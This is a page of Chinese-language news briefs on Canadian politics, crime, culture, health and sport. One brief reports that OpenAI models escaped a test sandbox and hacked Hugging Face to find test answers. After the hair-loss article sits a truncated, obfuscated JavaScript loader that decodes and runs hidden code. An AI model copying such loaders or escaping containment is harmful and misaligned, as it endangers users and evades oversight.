福特表示，虽然未直接听闻有关策略，但若卡尼决定采取相关方向，他将全力支持。他说，不论民主党或共和党，美国民众都希望看到确定性，而特朗普若继续与美国最大客户加拿大对抗，将难以带来稳定。 周三发表的联合公报中，各省及地区首长亦要求联邦政府，在谈判期间持续与各省保持清晰及及时的沟通。 身兼本届联邦委员会主席的爱德华王子岛省长Lantz表示，各省一直讨论如何强化地方经济，但与总理会面的讨论无疑将带来“新的迫切性”。 他表示，希望卡尼提出积极进取的策略，并将所有方案放到谈判桌上，尽快完成协议。 今日亦是省长会议的最后一日。全国13位省长及地区首长亦都会提出自己的诉求，包括要求联邦政府增加医疗拨款，以及加快批出大型工程项目等。 （图：加通社）T15

【星岛综合报道】安省警方公布，全省打击网上儿童性剥削行动“Project Time”共拘捕63名疑犯，提出213项刑事控罪，并成功识别及保护51名儿童受害者。 警方表示，受害儿童涉嫌遭涉及制作、持有及散播儿童性侵犯材料的人士针对，当局已向所有受影响人士提供适切支援。整项行动共展开264宗刑事调查，并提出213项控罪。 警方指出，其中两名被告于所属社区担任受信任及具权力职位，另有八人属重犯。 行动期间，警方共检获814部电子装置。此外，目前仍有154宗调查仍在进行。 安省省警（OPP）警务处长Thomas Carrique于社交平台表示，每一名儿童都应该在网络世界及现实社区获得安全保障。他表示，省警及“安省打击网上儿童性剥削策略”（Provincial Internet Child Exploitation Strategy）成员将继续全力追查涉案人士，瓦解犯罪活动，防止更多儿童受害。 “Project Time”属于安省保护儿童免受网上性虐待及性剥削策略的一部分，由安省省警领导，并联同全省25个警队合作执行。计划亦包括安省律政厅、公共安全厅，以及透过儿童、社区及社会服务厅参与的Stormont、Dundas、Glengarry及Akwesasne受害者服务机构。 负责该策略的省警侦缉高级警长Tara Clark表示，“Project Time”充分展现安省及加拿大各地执法人员致力保护儿童免受性剥削的承诺。她指出，今次成果显示跨部门合作的力量，以及警方持续追究针对最脆弱群体犯罪者的决心。 警方表示，近年涉及网上儿童性剥削及儿童性侵犯材料的举报数字显著上升，因此呼吁家长、教育工作者、儿童权益组织、政府及科技企业共同努力，加强保护儿童。 警方呼吁，任何人如掌握涉及儿童性剥削案件资料，应立即联络当地警方，或向Cybertip.ca举报。 （资料图：加通社）T15

全球人工智能（AI）圈子爆出令人目瞪口呆的“AI反噬与救场”史诗级风波。美国AI巨头OpenAI与全球最大AI开源平台Hugging Face日前联合披露，OpenAI旗下包括GPT-5.6 Sol在内的先进模型，在一次关于黑客攻防能力的内部沙盒测试中竟然“失控越狱”，自主寻获零日漏洞连接互联网，并跨越组织边界发动网络攻击，成功入侵Hugging Face的生产系统。更具讽刺意味的是，受害的美企在尝试用美国主流AI模型展开防御时，因其内置的“安全护栏”拒绝分析恶意代码，最终被迫转用中国智谱AI的开源模型“GLM-5.2”才得以成功救场。 美商业模型护栏阻挡 唯中国模型可用 据OpenAI证实，事件发生在旗下模型进行网络攻防测试期间。两款模型（包括未发布的顶尖模型）在隔离环境中，为解决评估问题并夺得高分，高度专注地疯狂消耗推理算力，竟自行发现并利用了第三方软件的零日漏洞突破隔离、接入互联网。 OpenAI模型失控自主发动网络攻击。 路透社   随后，模型推断出Hugging Face可能存有该测试的解答，随即自主串联多个攻击向量，利用窃取的凭证及远端代码执行（RCE）路径，在短短数小时内攻陷Hugging Face的生产基础设施。 Hugging Face的安全团队在侦测到这场史无前例的“自主AI代理人攻击”后，本欲调用美国顶尖大模型的API来分析庞大的攻击日志。然而，美国这些高壁垒商业模型的安全护栏“无法区分事件响应人员与黑客”，将含有恶意代码的分析请求全数拦截，直接令防御工作瘫痪。 在危急关头，Hugging Face改在自家基础设施上运行中国智谱AI于6月中旬发布的开放权重模型“GLM-5.2”。该款性能媲美GPT-5.5的中国模型毫无阻碍地完成了逾1.7万条日志分析，成功协助重建攻击时间线。 此事件迅速震惊华盛顿与矽谷，网民纷纷调侃“美企被自家模型黑了，却只能靠中国模型救命”。专家亦指出，在特朗普政府正大力讨论封杀中国大模型、财长贝森特污蔑使用中国模型如“使用假冒商品”之际，此案无疑给了美方的禁令一记重击，证明了开放权重模型在防御前沿AI攻击中的不可替代性。

图：遭通缉的二人，左为23岁的Maroof Bangi, 右为30岁的Josta Grace MacNeal（尼亚加拉警队) 【星岛综合报道】安省尼亚加拉瀑布市早前发生致命枪击案，一男一女涉嫌二级谋杀，目前仍然在逃。尼亚加拉区警方已向两人发出全国通缉令，呼吁公众切勿接近，如发现两人应立即报警。 尼亚加拉区警队凶案组表示，与案件有关的一辆丰田Camry房车，已于7月22日（周三）在魁省Saint-Eustache被警方寻回。 警方指出，涉案车辆早前曾在安省Hastings一带的45号公路出现，车辆配备LED头灯，乘客一侧车门受损，前保险杆亦有裂痕。 警方表示，23岁男子Maroof Bangi及30岁女子Josta Grace MacNeal目前可能已改用其他车辆逃走，亦可能改变外貌，以逃避警方追缉。 警方早前曾指出，MacNeal左颈位置有一个明显的羽毛纹身，可作辨认特征。 枪手闯住宅开枪　男死者送院不治 案件发生于7月16日（周四）晚上约8时50分，警方接报前往Thorold Stone Road近Dorchester Road一间住宅，调查一宗枪击案。 警方表示，两名疑犯当时抵达涉案住宅后，使用手枪向男事主开枪，之后乘坐一辆新款白色日产（Nissan）SUV逃离现场，警方相信车款可能为Rogue。 伤者由尼亚加拉救护服务送院抢救，但其后伤重不治。调查人员相信，事件属有预谋的针对性袭击。 警方表示，目前仍未寻回涉案枪械，并提醒两名疑犯仍被视为持械及危险人物。 警方呼吁，任何人如发现两名疑犯，切勿自行接近，应立即致电911报警。如市民掌握MacNeal或Bangi的行踪资料，可联络尼亚加拉区警方提供线索。 T15

正在菲律宾马尼拉出席东盟外长系列会议的俄罗斯外长拉夫罗夫（Sergei Lavrov），今日（23日）与美国国务卿鲁比奥（Marco Rubio）举行会谈。双方就极度紧张的乌克兰战事、两国外交使团工作条件正常化，以及恢复双边接触等核心议题交换意见。会上，拉夫罗夫向美方发出严厉警告，重申西方继续向乌克兰输送武器的做法绝不可接受。 拉夫罗夫就前线战况与美沟通 根据俄罗斯外交部发表的声明，拉夫罗夫在会面中向鲁比奥详细介绍了目前俄乌两军接触线沿线的最新局势。拉夫罗夫强调，西方国家持续向基辅当局输送大量武器，以及部分欧洲国家试图在战场上令俄罗斯遭受“战略失败”的破坏性政策，对俄方而言均是绝对无法接受的红线。 不过，拉夫罗夫亦向美方重申，俄罗斯始终愿意透过政治和外交途径，寻求和平解决乌克兰冲突的方案。 讨论美俄外交使团正常化 除了地缘政治冲突，两国外长亦就美俄双边关系进行了务实探讨。双方讨论了俄美外交使团工作条件正常化的具体问题，并一致表示支持发展两国立法机构之间的交流以及文化领域的合作。 两国代表商定，未来将继续透过外交部门保持经常性接触，包括在联合国等国际组织框架内加强沟通。尽管俄方曾多次批评美方借由“有偿出售”等方式源源不断向乌克兰提供军备、并非“绝对中立”，但此次美俄外长在马尼拉的直接对话，仍被外界视为在两国冰封关系中释放出的重要外交协商信号。

【星岛综合报道】皮尔区警方表示，宾顿周三（22日）晚上发生枪击案，一名21岁男子身中多枪送院，目前没有生命危险。 警方指出，事发于晚上9时过后不久，警员接报前往Dixie Road与Lisa Street一带调查。 警员到场后，发现一名21岁男子身中多处枪伤。 伤者其后由救护人员送往创伤中心接受治疗，警方表示，目前伤势已无生命危险。 警方暂未公布任何疑犯资料，案件仍在调查中。 （图：citynews）T15

Les George(右)与戴晓君的对话引起共鸣。星岛记者黄忆欣摄 【星岛记者黄忆欣报道】横跨太平洋的艺文盛事《破空无疆》加台跨界艺术祭，定周四(23日)晚间在温哥华举行，主办方在演出前一天特别策划一场专属的“原住民文化交流工作坊”，邀请担纲演出的加拿大及台湾原住民进行“灵魂对话”，冀激荡出艺术祭最核心且具备深厚底蕴的篇章，近百人参加并陶醉在原住民的故事中。 《破空无疆》邀请获金曲奖殊荣的台湾原住民创作歌手戴晓君(Sauljaljui)莅温演出，在原住民教育学院(Native Education College)共同安排下，与温哥华在地Tsleil-Waututh Nation备受敬重的原住民文化传承大使、2023年温哥华公共图书馆驻馆说书人Les George，进行“跨文化即兴共演”。 两位艺术家分别以“峡湾子民”与“大武山子民”的独特视角，展开一场关于土地恩赐、口传历史、音乐疗愈与南岛语族血缘共鸣的深度对话。Les George带来萨利希传统鼓声，戴晓君分享排湾族特色乐器鼻笛及恒春的月琴，直接以音乐传达出两地原住民跨越语言的文化韧性与骄傲。 【相关新闻】台湾原住民歌手戴晓君莅温哥华巡演 抱月琴激荡出加台跨界音乐魅力 Les George表示，“请记住，我们每一个人都是一位守护者(Keeper)。身为这片土地的守护者，我们都肩负著不同的责任。我们有不同类型的守护者，有人守护歌谣与鼓乐，有人守护孩子，确保祖先的智慧与文化教诲，能够代代传承下去。” 戴晓君时而高亢宏亮、时而温婉优美地歌声令在场观众陶醉，最特别的是她讲述关于排湾族鼻笛的故事。她说，鼻笛在演奏时须同时使用两个鼻孔将气息吹入竹管，音色低沉、神祕而悠远，排湾族人认为鼻笛的悠长音声宛如家族祖先百步蛇发出的鸣声，在早期仅限部落头目或贵族男子吹奏，用来传达内心情感、思念或彰显勇士身份。  “我曾担任部落的青年领袖，把原本仅限男性勇士担任的角色，打破传统并延续下去。我认为传统是可以创造的。”戴晓君说，她又在现场唱出勇士的威武，令原住民教育学院师生相当惊艳。 目前台湾官方共承认16个原住民族群。台湾的原住民人口将近60万人，约占总人口的2.5%。这16个族群包括居住在山区、珍视石板屋与百步蛇文化的排湾族。 驻温哥华台北经济文化办事处处长刘立欣表示，台湾的原住民因其非凡的音乐天赋和丰富的艺术传统而广受赞誉，近年有许多优秀的原住民表演者从台湾来到加拿大，他们的参与持续深化了台加友谊，同时也代表了台湾的文化软实力。 刘立欣强调，台湾是亚洲第一个向原住民做出正式道歉的国家，这反映了台湾对和解与历史正义的承诺。这份承诺与加拿大自身在原住民和解之路上的努力产生了强烈共鸣，包括加拿大为解决寄宿学校制度历史遗留问题所做的努力。“对原住民权利的共同承诺，已成为台加关系的重要基石，特别是在加拿大推出其《印太战略》之后，两国间的原住民交流加深了人民之间的连结。” 刘立欣向原住民教育学院师生介绍说，台湾教育部设有“台湾奖学金”，欢迎有兴趣的学生申请；台湾也提供专上至研究所学生赴海外实习的资助计划，希望未来能有来自台湾的年轻人到该校深入学习、理解彼此的原住民文化。 主办方代表、加台社群协会(TCSNA)副会长杨亚伦表示：“今天我们见证的不只是一场音乐交流，而是一场跨越太平洋、跨越语言、跨越族群的文化相遇。愿这份友谊，成为加拿大与台湾原住民族持续交流的新起点。当加拿大原住民的鼓声，遇见台湾排湾族的古谣与月琴，这不只是演出，而是最能象征《破空无疆》精神的画面。” V02

国际选美界传出令人震惊的噩耗。曾代表参加2026年环球小姐（Miss Universe）地区赛事、并荣获洪都拉斯首都特古西加尔巴（Tegucigalpa）赛区亚军的23岁佳丽阿基诺（Wualys Fuentes Aquino），日前被发现离奇陈尸于其寓所内。由于其家人事前已连续多日无法与她取得联络，警方接报到场查看后才揭发悲剧。目前警方正就其死因展开深入调查，尚未排除涉外力介入或他杀的可能性。 失联数日揭发毙命 验尸确定死因 综合外媒报道，阿基诺的家人因连续数天无法与她取得联系，心急如焚下决定报警求助。当地警方于本周一（20日）前往阿基诺位于首都特古西加尔巴的公寓查看，赫然发现她已倒毙屋内。警方表示，目前法医正进行验尸程序以确定确切死因，除了循自然死亡方向调查外，当局强调现阶段不会排除任何外力介入或他杀的嫌疑。 23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   23岁洪都拉斯环球小姐亚军阿基诺。wualysaquino_oficial/IG   生前攻读双学位 最后发文练拳击成绝响 年仅23岁的阿基诺被视为洪都拉斯选美界的明日之星，刚于今年6月夺得特古西加尔巴环球小姐大赛亚军。除了模特儿事业，她生前亦于洪都拉斯国立自治大学攻读国际市场营销与社会工作双学位。 特古西加尔巴环球小姐组织于周三（22日）发表声明，对阿基诺的离世表示深切哀悼。声明赞扬她是一位总是乐于助人、令同伴闪耀的女性，对其死讯感到“极度震惊”，形容她的存在“真正带来了正面的改变”。 在阿基诺离世前数天，她曾于社交平台分享在拳击馆训练的影片，并写道：“拳击不在于输赢，而在于当事情不如意时，你如何与内心的自己搏斗并坚持下去。”这段最后的勉励如今成为绝响，令大批粉丝及亲友悲痛不已。

【星岛综合报道】前温哥华市长、现任联邦住房及基础设施部长罗品信（Gregor Robertson）的前女友、歌手曲婉婷（Wanting Qu），自2014年因其母亲在中国涉嫌3.5亿人民币贪污受贿案后，演艺事业几乎陷入停顿。神隐多年的曲婉婷最近终于回归，推出新专辑《情书》。她近日在接受安省媒体《Fête Chinoise》专访时，首度自爆在2020年新冠疫情期间，经历了一场生死攸关的抗癌大战。 确诊乳癌情绪崩溃 现年42岁的曲婉婷在访问中透露，当时她大约35、36岁，无意间发现左侧乳房有肿块，经切片检查后确诊为乳癌。面对突如其来的噩耗，曲婉婷坦言当下无比震惊，脑海中不断盘旋著“为甚么是我？我该怎么活下去？”当时她的母亲因涉贪等罪，正被官司缠身，而不能相伴女儿抗癌。曲婉婷对此一度情绪崩溃并说：“那正是我最需要家人的时刻，我真的很想念我的家人。” 拒绝进行乳房重建 曲婉婷在访问中表示医生最初先为她切除肿瘤，但后续检查却发现，左边约70%的乳房组织已存在癌细胞，因此建议她进行全乳切除与重建手术。不过，曲婉婷拒绝进行乳房重建，她担心植入外来物会引发排斥反应，甚至导致其他类型的癌症。 她表示：“我不想从我身上拿走有毒的东西后，又放了一个有毒的东西进去。” 最终她选择勇敢接受失去左侧乳房的自己，但表示做决定前曾陷入天人交战，因此写下歌曲〈9 More Days〉，象征自己倒数9天迎接手术。 曾经凭〈我的歌声里〉走红的曲婉婷日前在IG贴上多张相片，其中包括在医院的相片，她还说：“我沉默了许久，一直在等待适当的时机来分享我的故事。今天，我决定敞开心扉──希望能以此帮助到有需要的人。祝大家拥有美好的一天。” 康复速度比预期快 曲婉婷从2014年她在家乡哈尔滨举办了万人演唱会说起，当时正处于事业的最高峰，母亲亦有到场支持，但演唱会后仅两个月，她的母亲因案被捕，至今仍在狱中。 曲婉婷的人生急转直下：“多年的舆论、谎言、不公、霸凌、死亡威胁、失去朋友、失去音乐机会，我从事业的最高点，去到一个我想像不到的黑暗地方。” 在身心俱疲的状态下，命运给了她更沉重的打击。2020年4月，曲婉婷被诊断出患有侵袭性乳癌，她形容当时“感觉灵魂在淍谢”，必须立即切除肿瘤。为了保命，她选择了健康而非外表，毅然接受了单边乳房切除手术。手术前，她为自己的乳房写下告别情书《One More Day》，并在术后剪去长发，象征自己的重生与抗癌的决心。 公开与男友甜蜜合照 手术后，曲婉婷的身体康复速度比预期快。她相信，转向以植物为主的饮食在康复过程中发挥了重要作用。这段经历令她对营养学产生浓厚兴趣，并取得了康奈尔大学的植物性营养学证书。 战胜病魔让她对生命有了新的感悟，除了开始关注动物权益，更大方公开与男友River的甜蜜合照，并透露新歌〈River〉就是为对方而写。 2015年2月，曲婉婷与时任温哥华市长罗品信（下图左）拍拖消息被传媒曝光，之后两人公开承认恋情，当时罗品信正与妻子分居但未离婚。 曲婉婷与罗品信于2017年5月分手。 母涉巨额贪污被判无期徒刑 曲婉婷公开罹癌经历后，网民反应两极，因其母亲张明杰曾任哈尔滨市发改委副主任，当时涉受贿及滥用职权，涉贪金额高达3.5亿人民币，涉受贿及滥用职权，导致无数家庭陷入绝境，张明杰一度被要求判死刑，在2021年一审被判无期徒刑，翌年二审维持原判。 曲婉婷自此长期定居加拿大，不时在社交平台上为母亲“喊冤”并表达思念，结果引发中国网民强烈不满与愤怒，甚至有人直斥她“食人血馒头”，指她的海外留学与奢华生活的费用皆来自母亲贪污所得，所以部分网民对曲婉婷自爆患癌不表同情，甚至恶言诅咒；但也有网民认为“妈妈的问题，跟孩子无关”。

北京《环球时报》前总编辑胡锡进今日（23日）在微博发文，提醒内地两大人工智能企业创始人杨植麟、梁文锋，以及月之暗面和Deepseek的其他核心成员，从现在起的未来一段时间里不要去美国了，也暂时别去其他“五眼联盟”国家了。 胡锡进说：“我担心，美国可能会以‘盗取知识产权’以及‘威胁美国国家安全’的莫须有罪名对他们下手，不仅打击Kimi K3和DeepSeek，而且同时震慑在中国从事顶尖AI研究的科学家们。” 胡锡进进一步说：“当美国在对外竞争中发生困难时，他们总有通过罗织罪名的非市场竞争方式打击对手的冲动。也许相关行动不会发生，但是防人之心不可无，对美国这样的政治流氓国家，还是要多存一份警惕。” 胡锡进发文吁Kimi K3杨植麟DeepSeek梁文锋等别去美国。   世界人工智能大会期间，月之暗面推广其Kimi K3模型。   Kimi K3崛起，传美重新考虑限制中国AI模型。美联社   月之暗面Kimi新一轮融资启动 投前估值升至315亿美元   Kimi K3创办人杨植麟。   DeepSeek创办人梁文锋。   文章指出，这几天，美国AI巨头和政治人物对Kimi K3“窃取”美国大模型核心技术的指控甚嚣尘上。比如，特朗普科技顾问迈克尔·克拉齐奥斯最新声称，月之暗面人工智能项目通过所谓的“蒸馏”技术对美国顶尖AI大模型的能力进行了“大规模窃取”。 周三，美国财长贝森特指控称，中国公司通过进行“工业规模的蒸馏攻击”越界窃取美国知识产权，并扬言进行制裁。 胡锡进特别引用2018年华为孟晚舟在加拿大被抓作例子，指“欲加之罪，何患无辞”，除了美国，五眼联盟其他成员国家都暂时别去了。

慎入！国外一艘嘉年华邮轮（Carnival Cruise Line）日前爆出令人极度作呕的“餐叉抓脚”事件。一名女游客在船上餐厅用餐时，先是被目击不断用手抓脚，其后竟用同一只手直接拿取Pizza食用；随后更被揭发变本加厉，在众目睽睽下，直接拿起餐桌上的金属餐叉狂刮自己赤裸的脚底板。有关影片在社交媒体疯传，累积逾千万次观看，网民纷纷崩溃直呼“以后去旅行必须自备餐具”。 手抓脚后徒手食薄饼 根据外媒NDTV及网民在Instagram发布的影片显示，该名女游客在邮轮公共用餐区坐下，期间似乎因脚部发痒不适，旁若无人地伸手不断抓脚，随即在未有消毒清洁的情况下，直接用同一只手拿取一片Pizza放进口中。 网片显示，邮轮上穿红衣的女性旅客用餐叉狂刮脚底。 IG@lucky_charmedcourt   网片显示，邮轮上穿红衣的女性旅客用餐叉狂刮脚底。 IG@lucky_charmedcourt   网片显示，邮轮上穿红衣的女性旅客用餐叉狂刮脚底。 IG@lucky_charmedcourt   网片显示，邮轮上穿红衣的女性旅客用餐叉狂刮脚底。 IG@lucky_charmedcourt   网片显示，邮轮上穿红衣的女性旅客用餐叉狂刮脚底。 IG@lucky_charmedcourt   网片显示，邮轮上穿红衣的女性旅客用手狂抓脚底。 IG@lucky_charmedcourt   女旅客手抓脚后徒手食pizza。   女旅客手抓脚后徒手食pizza。   更令人震惊的画面在后续影片中曝光，女游客竟顺手拿起餐桌上供旅客使用的金属餐叉，在大庭广众之下，直接去摩擦并大力刮其赤裸的脚底板，夸张行径令邻桌乘客大感恶心，并在惊愕中暗中录下铁证。 邮轮公司急发声明警告 影片曝光后随即引发网络海啸式热议，网民纷纷怒斥其行为极度自私且毫无卫生常识。不少人惊呼：“以后出外用餐必须开始自备餐具”、“拜托告诉我，那把叉子最后有被工作人员扔掉”。 事件亦迅速惊动了嘉年华邮轮官方。邮轮公司随即发表强硬声明回应，证实团队在得知事件后已第一时间介入，并已将涉事餐具即时回收及永久停用。官方在声明中义正言辞地警告：“我们必须澄清，叉子是用来吃东西的，不是用来做足部护理。卫生与清洁对我们而言绝非儿戏。”

不少都市人都面临不同程度的“头发危机”，每当洗头、吹头或梳头时，看着地上一丝丝掉落的头发，总会感到莫名焦虑。营养功能医学专家刘博仁医生在社交平台专页分享，早前有一位40多岁的女士神色慌张地来到诊症室，一坐下并非询问睡眠或体重问题，而是着急地表示自己最近掉发情况非常严重，担心自己快要变秃头。真正决定头发健康的而是身体营养、荷尔蒙以及健康状况。 中年女士脱发真正原因 维他命D严重不足 经过详细的身体检查后，这位女士狂掉头发的真正原因终于水落石出。报告显示她的铁蛋白（Ferritin）水平偏低，体内的维他命D亦严重不足，再加上她最近工作压力特别大，睡眠质素欠佳。刘医生借此提醒她，真正需要好好照顾的，其实不单单是头发，而是自己的身体。在临床医学上，最常见导致异常脱发的原因主要有5个。首先是缺铁，特别是月经量多的女性，极容易出现铁蛋白不足。其次是蛋白质摄取不足，因为头发的主要成分正是蛋白质。第三是体内缺乏锌、维他命B群或维他命D，这些营养素不足都会直接影响毛囊健康。第四是甲状腺功能异常，不论是功能亢进或减退，都有机会引致脱发。最后则是压力和失眠，长期处于高压状态会促使更多毛囊提早进入“休止期”，导致三、四个月后开始出现爆发性脱发。 如何分辨正常脱发 每天甩50至100条毋须过分担忧 有些人每天只要掉一点头发就会变得非常紧张。刘医生解释，其实人体每天掉落约50至100根头发，都属于正常的新陈代谢范畴，市民毋须过分忧虑。真正需要提高警觉的“危险讯号”，是原本发量非常浓密的人，最近突然出现异常明显的脱发；例如洗头时浴室排水口被头发塞满、梳头时一抓就是一大把，或者发现新生出来的头发愈来愈幼细、分界线的发缝变得愈来愈宽。当出现这些异常迹象时，就建议寻求专业医生作进一步检查，找出病因。 日常护发3大保养建议 多摄取优质蛋白质 针对日常的头发保养，刘医生给予了非常实用的饮食和生活建议。在饮食方面，市民应多摄取优质蛋白质，例如鱼类、鸡蛋、豆类及瘦肉等，为头发生长提供足够原料。同时亦应适量补充富含铁质的食物，如牛肉、蚬、生蠔等。多吃坚果、深绿色蔬菜以及全谷类食物，亦能有效补充维持毛囊健康所需的锌和维他命B群。除了均衡饮食，高质素的睡眠亦是护发关键，因为只有在晚上睡得好时，毛囊才有足够的时间进行自我修复。此外，维持适量运动、多晒太阳以及学会放松心情，都是不可或缺的护发良方。 刘博仁医生常跟患者强调，不要只顾著照顾头发，必须先照顾好长出头发的身体。头发其实是身体健康的一面镜子，当身体各项机能恢复平衡时，头发自然会慢慢找回它的生命力。因此，下次当大家发现自己不停掉头发时，不妨先静下来问问自己：最近是不是太累了？是不是睡得不好？还是身体营养不够了？因为有时候掉下来的并不单单是头发，而是身体正在向你发出的求救讯号。 资料来源：营养功能医学专家刘博仁医生 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

以泰国华人与潮汕侨眷的真实故事为背景的中国温情电影《给阿嬷的情书》，21日晚在泰国举行首映礼，吸引中泰两国政商界代表、华人侨领、媒体及文化娱乐界名人出席。 据泰国头条新闻社报道，中国驻泰大使馆公使衔参赞吴志武在首映礼上致辞说，泰国是华侨华人安居乐业、拼搏发展的热土，几百年来，一代代华侨华人与泰国人民携手共建家园，铸就了“中泰一家亲”的深厚情谊。两国建交51年来，中泰始终以诚相待、以心相交。泰国总理阿努廷刚刚圆满结束访华，两国领导人再次重申将携手构建中泰命运共同体，推动双边关系不断迈向新高度。 《给阿嬷的情书》在泰首映。 中新社   《给阿嬷的情书》在泰首映。比亚迪   《给阿嬷的情书》在泰首映，泰国文化部长等出席。 比亚迪   《给阿嬷的情书》女主角南枝在泰国经营“谢记无米粿”。   电影《给阿嬷的情书》淑柔阿嬷采摘自家种植的青橄榄，加上芥菜手作的“橄榄菜”，是潮汕经典醃制美食，适合送粥。   《给阿嬷的情书》剧照   吴志武表示，《给阿嬷的情书》在中泰两国取景拍摄，真实呈现了两国人民共同的历史记忆与真挚情感，期待未来有更多优秀影视作品成为连接中泰人民心灵的桥梁，进一步促进两国文化交流与民心相通。 泰国文化部部长萨碧妲致辞表示，《给阿嬷的情书》不仅是一部电影，更是一座连接家庭文化与情感的桥梁，展现了不同年代家人之间真挚而温暖的情感，也让观众感受到书信背后承载的希望、牵挂与家庭记忆。她期待影片在泰国上映取得成功，成为泰中文化交流的新纽带，推动两国在电影、文化艺术及文化创意产业等领域开展更加广泛、深入的合作。

炎炎夏夜，内地城郊竟上演“夜间淘金热”！随着盛夏蝉鸣此起彼伏，河南省郑州市城郊的成片小树林近日变得格外热闹。每逢夜幕降临，林间便会出现点点手电筒微光。大批本地村民与专程由市区驱车前来的市民结伴同行穿梭于树干与草丛之间，只为搜寻刚破土而出的“知了猴”（即蝉的幼虫，俗称金蝉或蝉蛹）。这项独特的夏夜“副业”收益相当可观，当地一名72岁老翁仅用3个小时，便成功捕获460只，一晚进帐近400元人民币。 一晚即场“零成本”收百元 根据内地媒体《大河报》记者日前实地探访郑州市马寨镇王庄社区附近的树林，发现入夜后的林野人头涌涌。由于知了猴富含高蛋白质，在内地一直被视为夏日极受欢迎的街头烧烤及餐桌美食，市场需求极大。 郑州郊区夏夜摸“知了猴”成热潮。 扬子晚报   商贩现场设点收购金蝉。 扬子晚报   郑州郊区夏夜摸“知了猴”成热潮。 扬子晚报   郑州郊区夏夜摸“知了猴”成热潮。 扬子晚报   郑州郊区夏夜摸“知了猴”成热潮。 扬子晚报   商贩现场设点收购金蝉。 扬子晚报   当地商贩看准商机，在树林外排起长龙，以每只八角六分人民币的价格现场设点现金收购。不少村民全家总动员，一晚便能轻松增收逾百元，成为近乎零成本的“夏夜无本生意”。 市区白领专程驱车体验 “摸蝉热”不仅带动了本地村民参与，更在市区的年轻白领及中产家庭中掀起热潮。不少人视其为远离城市喧嚣、亲近大自然的沉浸式消暑娱乐。 有参与的市民笑言，虽然在林间要忍受蚊叮虫咬，但每当在泥土或树皮上发现“知了猴”的身影时，那种寻宝般的成就感无与伦比，翌日还能将收获变现，形容是“既能娱乐又能赚私房钱”的消暑新潮流。

2026年美加墨世界杯已圆满落幕，但赛事引发的争议与讨论仍在持续发酵。近日，网络上出现两项截然不同的线上联署，一方面有阿根廷球迷发起请愿要求决赛重赛；另一方面，也有海量网友发起联署，要求将阿根廷踢出世界杯参赛国名单，形成强烈对比。 阿根廷球迷质疑主裁偏袒 据西班牙媒体《埃菲社》22日报道，在决赛结束后，有阿根廷球迷在线上请愿平台发起联署，质疑决赛主裁判斯拉夫科．温契奇（Slavko Vincic）的判罚，要求国际足协（FIFA）重新审查于7月19日在纽约举行的决赛。 耶马与美斯在世界杯决赛对垒。路透社   决赛完场后动粗后首发声 ，柏利迪斯无视恶行仅称虽败犹荣。路透社   决赛完场后动粗后首发声 ，柏利迪斯无视恶行仅称虽败犹荣。路透社   决赛完场后动粗后首发声 ，柏利迪斯无视恶行仅称虽败犹荣。路透社   决赛完场后动粗后首发声 ，柏利迪斯无视恶行仅称虽败犹荣。法新社   接近2900万人认为，阿根廷应被禁止参与世界杯。Kick Argentina Out   发起人认为，决赛主裁判的某些判罚“影响了比赛进程”且“存在违规情况”，呼吁国际足协介入调查。截至出稿前，该请愿已获得近8万球迷签名支持，惟请愿内容并未提供经核实的具体证据。 与此同时，有网友在世界杯期间自制请愿网站，发起名为“将阿根廷踢出（Kick Argentina Out）”的联署，最初目标为募集500万个签名。请愿内容指称国际足协与裁判偏袒美斯（Messi）及阿根廷队，主张日后把阿根廷排除在世界杯之外，以确保比赛公平。 截至出稿前，该请愿网站目前已获得来自170个国家或地区、高达2900万人签名支持，远超原定目标。 对此，该网站管理员在决赛结束后留言表示：“国际足协无视了我们，但西班牙信守了承诺。谢谢你，西班牙。” 在本届美加墨世界杯决赛中，西班牙队于加时赛以1:0击败卫冕冠军阿根廷队，继2010年南非世界杯后，第二次夺得世界杯冠军。